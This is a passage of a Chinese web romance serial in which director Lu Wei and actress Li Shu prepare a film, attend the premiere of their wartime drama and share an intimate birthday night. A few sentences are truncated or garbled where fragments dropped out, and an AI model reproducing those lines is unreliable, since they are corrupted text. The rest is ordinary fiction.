陆嵬不知疲倦的早起撒娇,把黎数胸口的衣服拱的一团乱,一脸声的喊:“老婆老婆老婆老婆……” “别喊了。”黎数拍拍陆嵬的头,“该起来了。” 陆嵬难得有机会这么和黎数在床上腻在一起,根本不想动,嘴上一个劲儿的占便宜:“你好香啊。” “咱俩用的同一款沐浴露。” “那你也香。”陆嵬像是个小狗似的到处嗅闻。 昨晚帮陆嵬洗了个澡,在浴室胡闹几个小时,似乎击碎了陆嵬给自己身上设下的什么屏障。 陆嵬活泼的不像是人前沉默寡言不苟言笑的陆总,倒是更符合黎数记忆最深处时那个总像是只小狗一样,跟着她转悠的小朋友。 二十七岁。 但岁月并没有好好善待陆嵬,在自己面前她本来也就不需要刻意去维持什么稳重的形象。 黎数不忍心再催她,一手揽着她,半闭上眼睛,笑着说:“不饿吗?” 陆嵬说:“我有情饮水饱。” 但说归这么说,连水都没有哪来的饱,床还是得起。 早餐做的简单,家里有521在,简单的水煮蛋和烤吐司就能算作一餐。 虽然521做中餐味道永远固定,但黎数和陆嵬对食物的要求并不高,能填饱肚子就可以。 期间黎数一直在关注网上的言论,就和陆嵬说的一样,大众的矛点在这几天的确指向了顾宗年的刑期,可很快的,就变成了针对曾经帮顾宗年发声过的人的围剿上。 大半个娱乐圈都受到了牵连,这次的事件也被网友称作‘娱乐圈霸凌’,短暂的沉寂过后,网友们纷纷指责起这些有团队、有岁数、有履历、有人脉的人,在根本没有核实真实性之前,就上赶着声讨一个无辜的女生。 而参与过的人,则被网友戏称为‘罪犯舔狗团’。 陆嵬说过的‘永不合作’这四个字还高高悬挂在置顶内容上,从顾宗年事件开始,陆嵬的置顶内容就没变过。 一开始黎数还担心这样会不会太过,但想了想,能无条件只靠片面的发言就去为顾宗年发声的人,不合作也罢。 天气越来越冷,这几天申海市也下了雪。 陆嵬嘴上说的轻松,但已经连续几天没回过家了。 黎数期间去寰宇探望过陆嵬,感觉像是去探监。 她不是在开会就是在开会的路上,这一次会议结束后,所有人收工去吃饭,而此时时间已经指向下午三点半。 桌面上罗列着成山的文件,各工作组负责人陆续往外走,黎数很意外的发现过不少熟面孔。 “刚刚好像看到了很多老熟人。”黎数刚刚躲在不远处的公开会议室里,避开了打招呼的琐碎,人差不多走完,她才出来。 陆嵬整个人摊在椅子上,两眼放空,闻言过了一会才说:“对……哦,对,是费导的班底,都是老人了,对作品也都有追求和要求,但也需要磨合,他们虽然擅长拍女性角色,但拍红色正向内容多,不过这些都是细枝末节的东西,可以慢慢来。” 黎数心疼的摸摸陆嵬眼下的青黑,“吃点饭吧,给你炖了汤。” 陆嵬还是傻傻的,似乎是因为黎数在,安全的情况下不需要她强打起精神让自己去做事,一切反应都慢了个半拍。 不知道是不是开会耗费了太多的心神,黎数来了以后,她整个人就软软的,倒在椅子上一动不动,压根不想起来。 黎数心里一动,从桌边走到了陆嵬椅子前,分开了她的双腿,站在了陆嵬腿间。 陆嵬眨眨眼,累的嘴皮子都不想动一下,渴望全通过一双浅色的瞳传达。 黎数笑了:“想抱抱?” 陆嵬眼睛一弯。 黎数伸手拉住陆嵬的手,借着惯性,陆嵬没骨头似的扑向了黎数怀里。 整个人被黎数支撑着、拥抱着,陆嵬才终于长长的舒了一口气。 几乎有些任性的嘟囔着说:“好想你,拍起来更忙,我不想当总导演拍这电影了,要不找费导过来拍吧。我就和《秘宝》的时候一样,当监制也行。” 第85章 第八十五章【VIP】 陆嵬是不会以这样的姿态和神情显露在外人前的。 即便亲近如沈凝雪、裘夏等人,陆嵬也只是可以安静的不用太设防,却一定不会像是现在这样,喜怒都形于色。 这也就代表着,陆嵬所有的小情绪都只会在自己面前展露,也只有在自己面前的时候,陆嵬才可以完完全全的彻底放松,什么都不需要顾忌。 意识到这一点的时候,黎数整个人都沉浸在了偌大的幸福里。 她不知道自己已经笑弯了眼,也没意识到自己此时说话的表情有多轻柔。 “那怎么办呢?”黎数状似很苦恼的样子,“你放心把你的作品交给别人吗?” 陆嵬不吭声。 黎数分开一只手慢慢的顺着陆嵬的长发,很小心的给她梳理着柔顺的发丝。 发色漆黑的和常人还是有区别,第一次纯黑色尝试失败以后,陆嵬后面几次都用的是蓝黑色的染膏,配着她的浅瞳、正装、和一张总是没什么情绪的脸,却无端变得妖娆又魅惑。 每一次陆嵬赖在她的怀里时,黎数就觉得她很像是一只小猫咪,姿态慵懒,喜欢用脸去蹭着人身上最柔软的地方,偶尔会亲亲再闻闻,时不时还会舔上一下。 黎数又问:“作品放心的话,也放心把我交到别人手里吗?” 陆嵬动了动。 她抬起头,藏在平光镜后面的眼睛显得有些冷,很严肃的说:“那不行。” 黎数笑着说:“那姐姐以前也没和你合作过。都是和别的导演合作的。” 陆嵬说:“费导不一样。在她那你起码不会吃亏。” “那还有别人呢?”黎数摆着指头算:“陈导、程导、杨导……” 黎数从前参演的电影和电视剧其实也很多,虽然没怎么出演过女主角,但配角却足够多。 一时间有些纳闷,也觉得自己不知道算是幸运还算是不幸:“以前我待得剧组好像没经历过什么潜规则。” 越是身为配角,又没什么身家背景的女演员就越容易被要挟,被迫接受潜规则。 但黎数似乎从没经历过这些,半夜也没被所谓的制片、导演之类的人敲过房门。 陆嵬又重新扑到她怀里,闷闷的丢下一句,“我不管,反正以后你是我的。” “这么霸道。”黎数轻轻扯她的头发,“以后不让姐姐接别人的戏了?” “让。”陆嵬说:“但裘夏会帮你把好关。” 陆嵬又抬头,用下巴抵着黎数的肚子,脖子向后仰到极致,改口说:“那你下部戏是我的。从人到角色都是我的。你以后拍了别人的电影和电视剧,你人也得是我的。” 黎数又去捧陆嵬的脸,大笑着低头亲她,“心也是你的。宝宝,我爱你。” 陆嵬的浅瞳在阳光下闪出更轻浅的色泽,像一块一眼就可以看穿的水晶琥珀。 确实是几天没见了,黎数本来打算的浅浅一吻慢慢就变成了缠绵悱恻的亲吻。 到底是惦记着陆嵬还没吃饭,分开时黎数按了按陆嵬的下唇,最后亲了下,才说:“先吃饭。”- 秉承着要把陆嵬喂胖的原则,黎数这次带的饭营养十足,虾都是扒了壳的,足足二十只,陆嵬吃了个干净。 饭后必不可免的发晕,在黎数的坚持下,陆嵬简单走了几圈,这才被赦免去小睡半小时。 黎数一个人坐在宽大的办公室内,看哪里都觉得挺新鲜。 这里的格局和从前其实没什么变化,只是黎数比较有印象的几个关于陆嵬曾经获得过的导演的奖项不见了。 心里有几个猜测的原因,黎数回到了陆嵬的办公桌前,目光一撇,看到了陆嵬放在电脑边的照片。 那是她的单人照。 重生以后她拍过的杂志和宣传照并不多,黎数还能记得清,桌子上陆嵬摆放的照片并不是后来的,而是从前的。 里面的女生看着还有些青涩,束着一个高高的马尾,额角有碎发落在脸上,笑的很淡,眉眼间都带着还没能学会隐藏的很好的倔强。 黎数一怔。 这不是她大学时候的照片吗? 她将相框拿起来,发现这个相框应该是经常被人拿起来看的,右边的惯用手的位置的木框因为长时间被抓握,散着一层很明显的亮光。 很久没有看到过大学时光,黎数有些恍惚,但大学时能称得上美好的回忆实在是太少,每天忙于兼职、赚学费和到处赶通告,地铁和公交上都得默背台词,同时还得兼顾学业。 实,也因为营养摄入不良的缘故,大学时期的自己也比常人要瘦上一圈,但美。 将照片轻轻放回去,黎桌面。 乏善可陈的装饰,除了这个相框,陆嵬的办公室就和 去,黎数动作放轻,拧开了休息室的门。 陆嵬是和衣而卧的,休息室的窗户开着一条缝隙,所以室内并不太暖和。 睡着了也没什么安全感,所以是正面对着门的方向。 想起陆嵬进休息室之前撒娇说不想被闹钟惊醒,想让自己轻轻叫醒她,黎数的动作更轻了点, 脚步声被休息室的地毯吸收干净,黎数轻轻蹲下,忽然撇到了陆嵬枕在脸下面的一件衣服,而陆嵬几乎埋进了衣服里面,一呼一吸都会浮动轻薄的面料。 衣服是藕粉色,不是陆嵬会穿的颜色,绸缎的面料,像是贴身的背心或是家居服。 黎数眨眨眼,翻开一点点被子,被陆嵬抓在手里的衣服就暴露在了她眼前。 居然是她以前的睡衣。 无声的看了会陆嵬恬静的睡颜,黎数跪坐在地毯上,用温热的手轻轻遮住了她的眼睛。 房间的视线只有门外的办公室的光源,室内光线昏黄,黎数的声音压的低,轻声说:“该醒了。” 陆嵬没什么动静,掌心能触及到的睫毛轻轻颤了颤。 黎数笑笑,垂下头轻轻的吻了她一下,柔声说,“晚上不是还要和编剧们加班吗?” 陆嵬这才睁开了眼,一时间没动,嗓子也有些沙哑,“想抱抱。” 黎数捏捏陆嵬的鼻子,陆嵬往里靠了靠,黎数就躺在了床的外侧。 藕粉色的睡衣就被黎数枕在身下,面料太轻薄,隔着冬天厚厚的外套居然没什么感觉。 察觉到陆嵬自动向下滑了滑,又把头埋在自己的胸口,滚烫的呼吸透过毛衣传到皮肤上,一冷一热交替,黎数感觉附近的鸡皮疙瘩都要起来了。 她问陆嵬:“不是让我半小时叫你吗?” “开会时间还早。”陆嵬垂着眼睛,有点遗憾的说:“早知道让你陪我睡了。” “陪你睡你才睡不着。”黎数的声音很柔软,心想几天没见,吃饭前就差点因为一个吻就走火,更何况是独处在这间灯光昏沉,又只有她们两个人在的休息室。 密闭但又随时可能会有人敲门的办公室,里面藏着这么小小的一个房间,甚至还有准备好的一张床。 黎数轻而易举的猜到了陆嵬是怎么想的,手在陆嵬小腹上轻轻按了按,侧过头若有似乎的亲吻陆嵬的额头,一边说:“姐姐的衣服好闻吗?” 陆嵬的呼吸停了一瞬,片刻后,胸前那颗毛茸茸的脑袋上下点了点。 “那件衣服我有几年没穿过了。”黎数问她:“还有姐姐的味道吗?” 陆嵬闷闷的说:“没有。但是我把那件衣服和你其它的衣服混在一起洗了,今天才拿出来哄自己睡,就是洗衣液的味道,没有你身上的味道。” 黎数也觉得很神奇。 明明她和陆嵬用的沐浴露、洗发露,清洁用品都是同款,吃住也都在一起,但偏偏味道上总有不同。 外人闻不出来,可黎数闻着陆嵬身上的气味总觉的有股说不清楚的清冽,陆嵬闻着自己的时候,说的最多的就是‘香’。 “用一件衣服哄自己睡啊?”黎数捏捏陆嵬的脸,“小可怜。” 陆嵬又不说话了,喉咙里发出了一些琐碎的声音。 这种时不时发作的安全感缺失黎数已经习惯了,甚至有点乐在其中的享受。 黎数没拆穿她故意为之的小心机,明知道自己进来就能第一眼看见,明知道只要陆嵬要求了,她最终还是会妥协进来陪她一起睡。 黎数问:“今晚能回家睡吗?” 陆嵬摇头,光听声音都听出来了苦大仇深:“剧本要改动的地方很多,毕竟是两年前的作品,很多不成熟的地方要改动。作品立项以后,剧本得在年前彻底定下来,否则不好找演员定档期,这部戏我要在夏天开机。” 黎数闻言想了想:“除了我以外,另一个主演是谁?” 陆嵬和她透露的也不算多,因为提前透露就代表着容易提前将思维定型,演员需要对剧本研究的同时,还得保留一个时间足够长的新鲜感和探索欲。 黎数目前也只知道是双女主剧,又因为《真凶》这个名字猜测到可能是悬疑,但《年年》就不得而知了,因为《年年》显然不是全称,更无从去定性这到底是*什么样的剧本。 “有想法。”这次陆嵬说:“定了凝雪姐,目前还是保密状态。” 黎数和沈凝雪这辈子的岁数相差不小,更难猜测了。 但一时之间还有些紧张——沈凝雪毕竟是拿了大满贯的大前辈。 同时身为陆嵬的长辈,将陆嵬带大的亲姐姐,又有这么多头衔在身,且这一次的剧和《秘宝》不同,她势必会和沈凝雪有很多的对手戏。 闻言黎数说道:“那你快起来。” 陆嵬:“嗯?” 黎数紧张之余就是兴奋,从床上起身以后就去拽陆嵬的手,把她硬拉了起来。 陆嵬的头发还乱糟糟,黎数随便给她呼噜了一把,推着陆嵬一路出了办公室,对着她的背影说:“加油好好研究剧本,我很期待!” 陆嵬站在门口,脸色开始隐隐发黑,但时间的确也快到了,取材料的同时掰着黎数的脸,在她唇上重重咬了一口。 到底是担心会让黎数痛,陆嵬拿捏着力道,很刻意的说:“你等我忙完这段时间的。” 黎数好整以暇的挑眉,一手撑在桌面上,满不在乎的“嗯”了声。 陆嵬走后,黎数又进了一趟休息室。 差不多十几分钟后再出来时,黎数整理了一下身上的衣服,回头看了一眼,取了陆嵬桌上的签字笔,在一张空白的A4纸上写: 【衬衫留给你,好好睡觉。】 将留言条放在相框下压好,黎数这才离开。 第86章 第八十六章【VIP】 黎数身为演员,是没机会参与电影投资和全程建设的。 对她而言,这是第一次这么近距离的观察到,陆嵬要拍一部电影究竟有多难。 曾经在好莱坞有句行话,叫‘拍电影最轻松的部分就是拍摄’。 对于陆嵬这个总负责人来说,真正的战场永远是在最前期。 陆嵬在年前回家的时间越来越少。 黎数偶尔晚上会去探班。 悄悄走进休息室的时候,看到的几乎都是陆嵬倒在床上,一手抓着她留下的那件衬衫睡着的模样。 办公桌上被法律文件、合同、资金链谈判规划合同、演员资料、甚至是班底成员合同、密密麻麻的各项保险和各种授权方合同等物品占满。 除了带着她照片的那个相框没变,其他的一切都在变。 陆嵬狼吞虎咽,黎数照顾她像是照顾小孩,一切食材都用的最方便、也最容易入口,但同时又高营养的。 “黎指挥那边负责。”陆嵬嘴里塞满食物,说话含糊不清,“省的我们跑了太多弯路了。” 黎数眼疾手快的给她擦掉下巴上的油渍,“你慢点吃。” 政|府|部门许可几乎也是最噩梦的一个环节。 公安、消防、文保……等等领域。 陆嵬担任总负责人,一切的一切都要她点头,都要她首肯,事无巨细,否则出了事情没人能顶住。 “这次拍摄的选址就在申海的一片老城区附近。”陆嵬终于把一口饭咽下,黎数就递过去了一杯插着吸管的水。 她眨眨眼,黎数的细心让她总想冒犯。 陆嵬猛地往黎数怀里一扑,黎数嘴上说‘脏死了’,但伸手也只是拍了拍陆嵬的头。 陆嵬就像个兴致一上来就开始胡乱撒娇找事的孩子。 扑腾完了才盯着黎数的衣服看,很得意说:“没有油。” 黎数瞪她一眼。 陆嵬笑着又咕噜噜去喝水。 陆嵬猛吞一半,黎数心疼的皱眉,话到嘴边了换了一句:“你这是多久没吃没喝了?” 陆嵬愣了愣,“想不起来了,好像中间吃过点乱七八糟的东西。” ——乱七八糟的东西几乎特指一些小饼干或者是小零食面包。 心知她可能最少得有两三顿没吃过正经饭,且还是常态。 但这种情况下,设身处地,黎数实在是说不出责怪的话。 但不说话有时候比出口责怪和管教更让人害怕。 陆嵬察觉到了,忙卖乖的晃晃黎数的手,“这几天过去就告一段落了,我以后一定不这样了。” 黎数的食指从陆嵬手腕滑过,擦着她的皮肤,很流畅的用尾指轻轻勾住了陆嵬的。 陆嵬看了黎数一眼,黎数只静静地望着她,又晃晃缠在一起的尾指。 很快陆嵬低头,紧了紧手,说:“我保证,以后让助理每天给我送餐,再忙都会把饭吃了。” “我是想在电影上映前把这些琐事交代完。”陆嵬趁热打铁,“其他的所有东西半年前我就开始准备联系了,等这段时间忙完,赶在过年的时候,可以休一个长假。” “我想陪你去看《秘宝》的首映,它的意义不一样。” 黎数这才满意,奖励似的托着陆嵬的下巴,轻轻吻了一下- 《国家秘宝》真正上映的那天,卡在大年档,同期上映的片子有非常多。 不过作为主旋律贺岁共荣片,排片率还算不错,上座率也高。 这部戏几乎奠定了黎数的起点。 但也因为一直以来的风波不断,这部片子一上映就遭遇到了大量其他演员、艺人的粉丝和抹黑。 所有人都在疑惑——真能看吗? “不用担心这些。”陆嵬说:“过几天这些舆论就会沉淀下去。这些粉丝不过是愤怒正主被顾宗年牵连,把怒火发泄在你身上罢了。” 黎数心知肚明,她沉得住气。 陆嵬说的没错。 那条‘永不合作’的微博尚且还在陆嵬微博的置顶,但就在电影上映的第一周,《秘宝》的票房开始节节攀升。 大众的力量从第三天开始,呈现了势不可挡的反超趋势。 逐渐开始有艺人无视‘永不合作’这四个字开始晒出电影票、甚至发表看完以后得感言——因为即便不发表,此后的采访中也势必会有记者不断地提起。 而在博时,黎数是惊讶的。 “汪兰说之前他人表演名额的消息都是顾宗年逼她做的。”。 好,但也不至于太差。 “或许是吧。”陆嵬并不感兴趣:“顾宗年势大的时候,她可以顺势踩你一脚,反正是真是假也没人在意。顾宗年进去了,汪兰就可以顺势澄清,把责任全都推到他身上。” 陆嵬总结说:“不是什么聪明的做法,她也没遇到好的经纪人。” 这样的墙头草甚至不如骂黎数从头骂到尾。 起码那样说不定还会有路人以及不明真相的导演或是制片佩服她的真性情,经纪人和公司抓着浪潮,也可以把汪兰的人设给重新翻新。 而现在汪兰这样子,发了‘自白’后反而被网友嘲讽,说她势利眼白眼狼,看客也只能说一句自作自受。 不过无论是投诚还是洗白自己,对黎数和陆嵬来说都无所谓了。 对黎数而言,汪兰的这一波极限卡点操作,让她的名字在过年档这个娱乐圈沸腾营销宣传的时段里,又一次不费吹灰之力的一骑绝尘。 甚至观众和路人都开始隐隐对她出现了诸如怜爱和心疼的情绪。 以至于在过年流量最高的这个时间段上,所有的舆论走向了一个非常诡异的路线上—— 曾经抵制、站队,和顾宗年一起,恨不得把黎数说成不真诚、没礼貌、自负、吊儿郎当、居高临下、小人得志,集所有缺点于一体的负面典范的那群人,忽然变了了态度。 有人包场请工作室,有人包场表白沈凝雪,也有人说支持顾导的票房,间或提几句黎数或是配角。 还有人高高在上的说‘原来黎数还不错,改观了’。 总之,无一不在透露出示好的信息。 观众这才惊觉,这部戏不显山露水的走营销的路子,观众甚至没注意到它居然云集这么多大咖。 即便顾宗年没进去,又有谁敢得罪?谁敢说它一句不好? 《国家秘宝》俨然成为了新年档的头部影片,票房口碑双丰收- 按照圈内所有人的惯例,大多主创和参演者一般不会去看首映。 第一时间,往往更关注的,是去看观影评价、看票房、看预期。 等一两周以后,一切有了初步定论,真正的观众涌现,再带着审视、检验、欣赏或反思学习的目光,走进电影院,去重新看待这部戏。 这不是黎数第一次有电影上映,每一次都会紧张和期待,这次对她而言意义更不同。 黎数手上的手机已经很久没放下来过了,她不断地在刷新网友和影评人的留言。 【本来想着高低品一品到底是什么味,一尝,巧克力外形的巧克力,里面还有浓郁的榛果夹心!谁懂这一刻的救赎感?】 【画面真的很震撼,整个城市付之一炬,只剩骨架的屋顶,被炮火无情轰炸过的教堂,路边随处可见的死尸,满地散落的钞票,一点都没有美化那个年代,完完全全揭露了祖辈当年经历过的残忍现实。】 【后劲有点大,我一开始以为又是个守护国宝文物的煽情片,没想到根本没有刻意煽情,字字不提宝,四处都有宝,人人都是宝。】 【所有的一切都在电影名字里,没有一个人的演技拉胯,白玫最后在甲板上遥望的时候,你又在想什么呢?】 【没想到陆嵬居然演的也那么好,这么美的一张脸为什么不进娱乐圈啊!】 【楼上,陆嵬当导演更牛批,没注意吗?这部戏她的名字仅次于费鹤鸣!不论是导演还是监制到编剧都有她的名字!】 【没想到看完以后嗑的最厉害的居然是左碧君和白玫,谁懂能在大荧幕上看到这两张绝美的脸那一瞬间升起的冲击啊。】 【后劲有点大,我受不了左碧君最后自杀,受不了相爱的两人分开在黎明前。】 【一个死在海里,一个死在陆地上,老费,这么多年不见,你还是懂怎么杀我。】 【凭什么没有看广告复活!】 【收拾收拾,@黎数@林辰星,收拾收拾,准备升咖了!!】 【前面楼上的,我不同意,明明是白玫和林婉比较好嗑!】 【我就嗑,不服打一架。】 【打就打骂就骂,谁怕你啊!】 …… 《国家秘宝》这四个字,是最初,同样也是最终的悬念。 不论是从什么角度出发,这一部戏都是历史性的大成功。 无数人们在为‘国家秘宝’这四个字拼搏前行,没有人知道‘秘宝’究竟是什么,可所有人的信念一致,所有人都在为了一个共同的目的拼搏。 也有小股声音说,左碧君的人设和最初剧本里设定的不同,从陆嵬进组以后明显丰满了许多。 也开始有短文、影评、营销号趁着东风,编造左碧君其人,其实是根据陆嵬本人的人设加以改编的。 但历史背景发生在民国,故事主线也是为了守护‘秘宝’,和现代毫无瓜葛,这类的言论声音暂时就被压了下去- 终于,在三零年二月十四日这天,黎数和陆嵬买了电影票,一起走进了电影院。 她们就像是最寻常的情侣一样,买了饮料和爆米花,手牵着手走进了提前很久就抢好的位置。 影院灯光暗下,两人的手不轻不重的握着,交谈的声音压得极低。 黎数说:“紧张吗?第一次在大银幕上看到自己。” 陆嵬想了想,“还好,我更想看你。” 顿了顿,陆嵬又说:“也想看电影里的我吻电影里的你。” 因为不是总导演,片子出来以后陆嵬就和黎数完全同步,一切都跟着黎数的习惯走,根本没有看过。 对于她而言,这的确是一次很新鲜的体验。 但陆嵬提前准备好了夜录的摄影机,一开场便支好了支架,将镜头对准了黎数的侧脸,轻声说:“我想把你拍下来。” 黎数笑着望向她。 纯黑的影院下,身边的人都要侧过身贴近才能分辨清楚五官。 黎数说:“可以。” 陆嵬又检查过镜头没偏移,这才重新坐正,找到了黎数的手,和她十指相握。 银幕外的黎数更多在看的是银幕里的陆嵬。 她不住去回想,在得知她的死讯后,陆嵬是抱着什么样的心情,点着灯,在黑夜下敲打出一字字、一句句的剧本,又将那些心血练就的文字,去交给自己的生母,用来挽救自己的外婆。 而银幕内的左碧君写了一夜,灯光昏黄,她的神色木然,偶尔揉一下眉心,活动一下书写太久已经泛酸的手指。 透过完全不同的视角,透过光与影的交织,陆嵬也看到了白玫对待左碧君的宽待和柔情,也看到了白玫明明刻意努力的隐藏,却已经呼之欲出的爱。 意外来的突然而又迅猛。 城破、轰炸、泥石流的轰鸣,纷扬的尘土在此刻莫名汇聚统一,戏里戏外的人都走向了尽头。 枪响过后,尘土飞扬。 那些细密的灰尘飘在空中,飘向海面,落在船上夹板的室内,变成了浅浅的一层白灰。 行船几十年的老船夫用指尖轻拭,老迈的声音说:“又一个。” 黎数轻声说:“左碧君把自己的骨灰磨成了粉末,洒向了海里。” “总要死在一起。”陆嵬道:“变成粉末,那么多碎片,随便贴在哪条鱼的身上,带着、游着,顺着飘着,总有一天能找到你。” 她们终会重逢,看似是死局的路,总能有它独有的前往幸福的方式。 影片结束,片尾的纯音乐吟唱,伴随着一张张正在出现笔迹的纸张,成功让所有人停下了脚步。 那是一份名单。 一份长达上万字的先烈名单。 名单在不断更新、不断的书写上新的。 不同的笔迹、不同的材质。 铅笔、钢笔、烧焦的树枝,染血的发丝,或干脆印下一个血手印,一个简陋的笑脸。 最终,一个颤抖的、染血的字迹缓缓出现。 【愿我中华儿女不畏艰险,信念不灭,意志永存,勇敢无畏,于此万古山河之间展翅纷飞。】 【愿此榜无名,愿不再有后来者,愿后代世人康健,愿幼童永远有明天。】 放映厅灯光亮起,观影者早已泪流满面。 无数人取出手机,忍着哽咽,忍着颤抖,将这一幕录下。 黎数这也是第一次知道,国家秘宝何为国家秘宝。 是人。 是前赴后继,在那张愿无后来者的名单上出现的一个个的新的名单,或稚嫩,或纤细的指印,或知道可能没有明天,却依然绽放的笑脸。 陆嵬静静地看着。 一直到人群陆陆续续走空,陆嵬抹了下黎数湿润的睫毛,轻声说:“姐姐,我们拍《新年要正当除凶》吧。” 第87章 第八十七章【VIP】 走出电影院时已经很晚了,影厅一个个结束放映,人群如潮水般涌出。 四处都是情侣,朋友,家人,欢声笑语冲淡了电影片尾的沉重。 托繁琐臃肿的冬装的福,黎数和陆嵬可以毫无顾忌的藏在人群中,牵着对方的手。 陆嵬说:“费导会把《秘宝》送去参加电影节评选。” 陆嵬没让张姐过来,她很享受这一路和黎数在室外漫步的感觉。 黎数想了想说:“不知道我有没有机会入围配角的奖项。” 这部戏里出色的配角太多了。 林辰星饰演的林婉,陆嵬饰演的左碧君,自己饰演的白玫都是很出彩而女性配角。 “电影节看的并不是人设。”陆嵬指出:“我和林辰星表演上都不如你,差的太多了。” 如果不是临时救急,形象和改编原型都和陆嵬自己太贴合,她也勉强会演,左碧君有极大地可能会泯然众人矣。 林辰星这次虽然也有突破,剧情转折到后期时的表演也算可圈可点,但林婉整体上和她还是相符的。 只有黎数。 不论是身为李梨,还是身为白玫,黎数都把握的太好了。 她能进进出出于土堆搭起的灶间,熟练点火烧饭,做一切贫苦人家的女孩只能去做的事。 不埋怨、不抱怨,但脸上始终带着一股服从,却隐现着不耐,等待着有朝一日脱离苦海的倔强。 也能在成为白玫后以极迅速的生存能力在春楼获取一席之地,她可以自由游走于富豪权贵之间,也能不着痕迹的在太太圈中打出名气。 比起陆嵬和林辰星更多是人设大于表演的表现,黎数才是真真正正的用演技将这一切表现的圆满。 陆嵬片刻后说:“你就看费导给了你多少个超特大镜就知道了。” 她和林辰星一个没有。 是费鹤鸣不想吗? 是她俩演不出来啊。 黎数轻松被陆嵬逗笑,“左碧君自杀的时候我哭的不行。” “唔。”陆嵬说:“眼泪是有点咸。” 黎数停下脚步瞪了陆嵬一眼:“我跟你说正经的。” 陆嵬和黎数还牵着手,被她带动的停了一下,才回过头,想了想说:“我在表演上毫无建树。” “这是事实。”陆嵬满不在乎的说:“我对表演也没有欲望,我又不是演员。” 黎数挑了挑眉。 陆嵬另外一只手从口袋里拿出来,手里已经在电影院晾干了的湿纸巾被她捏着轻晃。 又举到黎数眼前晃两下,陆嵬说:“我演的也就那样,是你共情能力强,把左碧君当成了我所以才哭的。” 陆嵬又把那张给黎数擦过脸的湿巾收进口袋里,撒娇着很大一只搂住黎数,“我希望你下次夸我,是从夸奖一个导演的角度上,这我真能高兴。” 黎数失笑:“行,回家让521给我找彩虹话大全。” 陆嵬不满:“你到时候就不能真心实意发自内心的夸我几句吗?” 这次轮到黎数去噎陆嵬:“姐姐在语言艺术上毫无建树。” 回旋镖这么快就扎到自己身上,陆嵬眼睛都睁大了一点。 黎数背着手一蹦一跳走出了几步,她才快速追上去,很自信爆棚的说:“到时候你就会说了。” 黎数说:“那不一定。” 陆嵬管不住自己的嘴:“你一开始也不会叫,后来不也会了。” 黎数:“……”- 刚从电影院出来不久,又一直在走动,上车时两人手都还是热的。 黎数习惯冬天外面穿一件羽绒服,里面只穿单衣,或者毛衣,最多叠穿一件衬衫。 陆嵬则不同。 她的穿衣风格完全热衷于黎数喜欢什么。 所以她衣柜里的衣服风格,在和黎数和好以后,就已经开始出现了变化。 从板正的家居服变成了各式各样黎数给她买的稀奇古怪风格的衣服,有些陆嵬愿意试,有些陆嵬只臭着脸勉强愿意在用手搭在身上比划两下给黎数看。 今天要外出,陆嵬依旧是老四样搭配——马丁靴,长风衣,白衬衫,牛仔裤。 黎数就喜欢这种穿搭。 即便穿的对象不是陆嵬,在杂志上,电视剧或是电影里看到,她都会多扫两眼。 回到家,521就如同初见时的一样,满屏幕飙着爱心就冲过来了。 “小黎小黎欢迎回在黎数的腿上不停地蹭来蹭去,小狗似的围着她打转:,我好思念你。” 陆嵬冷眼看着521冒,冷不丁说了句:“别从网上学人家的土味情话。” “谁学了。”521愤怒:“这都是表达!” 陆嵬撇撇嘴,,机械内心。” 521一秒愤怒,“我生气了,我不要给你今天的生日礼物了!你的礼物没有了!” 看着521愤怒的屁股,陆嵬一怔:“今天是情人节?” 在外面待了几个小时,黎数回来就躺在了一楼的沙发上,闻言懒洋洋的‘唔’了声。 今天的日子特殊,既是情人节,又是陆嵬的生日。 但她自己也忙忘了。 陆嵬懊恼的说:“怪不得你要今天带着我去看电影。” 上映过最少两周以后再去电影院看,是黎数一直以来的习惯。 这次也是延后差不多这么久,挑选今天,陆嵬压根就没多想,提前把今天腾出来以后就没去公司。 更无从在同事的口中听到生日祝福之类的话。 黎数弯着眼,双臂张开。 沙发很深,两个人测躺下完全足够。 明明自己也忘了,可陆嵬说着说着又委屈上了,“今天没人跟我说生日快乐。” 黎数发出了很轻柔的笑意,“宝贝生日快乐。” 陆嵬没怎么抱期望,但还是说了句:“那我有礼物吗?” 客厅没有闻到蛋糕的甜味,黎数一回来就直接躺在了沙发上,和她往常的动线也差不多。 陆嵬刚说完,耳朵一下子就耷拉下来,像是只失望的猫。 但黎数说:“有。” 陆嵬一个猛抬头:“嗯?” 落在唇上的是一个柔软的亲吻。 黎数轻吻着陆嵬,唇齿厮磨间,陆嵬听到黎数的声音说:“姐姐把自己送给你。” 陆嵬没有闭眼,盯着看黎数亲吻自己的模样,看了一会,才反吻上去,急切的索取一切她想要的。 沙发不够折腾,陆嵬垫在黎数下面,抱着她一起滚到了地毯上。 黎数买的这张大地毯足够厚,分开时黎数眼睛湿湿的,拨弄着陆嵬的额发,喘着气说:“你不太乖。” 唇|舌被吸|吮到麻木,现在还有阵阵余韵。 “今晚是你允许的。” 陆嵬的手掐着黎数裤|腰的边缘,去探索黎数的腰窝,在那流连忘返的画着圈圈。 黎数的腰在颤|抖,衣襟早已松开,但还是克制着说:“不许动。” 陆嵬便只用拇指偶尔摩擦。 整个腰的一圈都是黎数的敏|感|区,她整个人和陆嵬之间没有一丝丝的缝隙,双手攥着陆嵬的手腕,用了点威胁的语气,说:“别动。” 陆嵬努力的停下了。 黎数一手在桌子抽屉里摸索着,窸窸窣窣像是塑料的声音响彻过后,陆嵬察觉到黎数跪坐在了她肚子上。 伸出手被黎数拉起来的时候,陆嵬还在问:“怎么了?” “没什么。”黎数微微一笑,用相拥的姿势,把陆嵬的手牵引到后面。 陆嵬乖乖的照做,甚至双手在背后扣在了一起。 ‘咔哒’ ‘咔哒’ 两声轻响过后,伴随着腕骨上一阵冰凉,陆嵬才意识到,自己被黎数拷住了。 陆嵬好奇的望着黎数。 黎数只用一根手指挑着陆嵬的下巴。 扣子开到一半的白衬衫,绸缎面料,纯手工定做,领口的系带向下坠着,陆嵬漂亮的锁骨和长颈显露的彻底。 “真漂亮啊。”黎数很轻的啄了一下陆嵬的嘴唇,“我们小嵬。” 这是黎数第一次这么喊自己。 这个称呼往往都只在比较亲密的家人口中说出,一瞬间,陆嵬体会到了莫名的羞耻感上涌。 黎数轻笑一声,“不穿的时候最漂亮。” 轻吻沿路起伏,力道像是鹅毛拂水。 陆嵬克制着,压抑着,但却又拼命的用尽力气去寻找黎数的眼。 细碎的声音一直响到午夜,房间暖气很足,黎数用陆嵬的风衣给两人盖上,露出了两人痕迹遍布的肩膀和小腿。 陆嵬声音还有些未喘:“不是说把你送给我吗?” 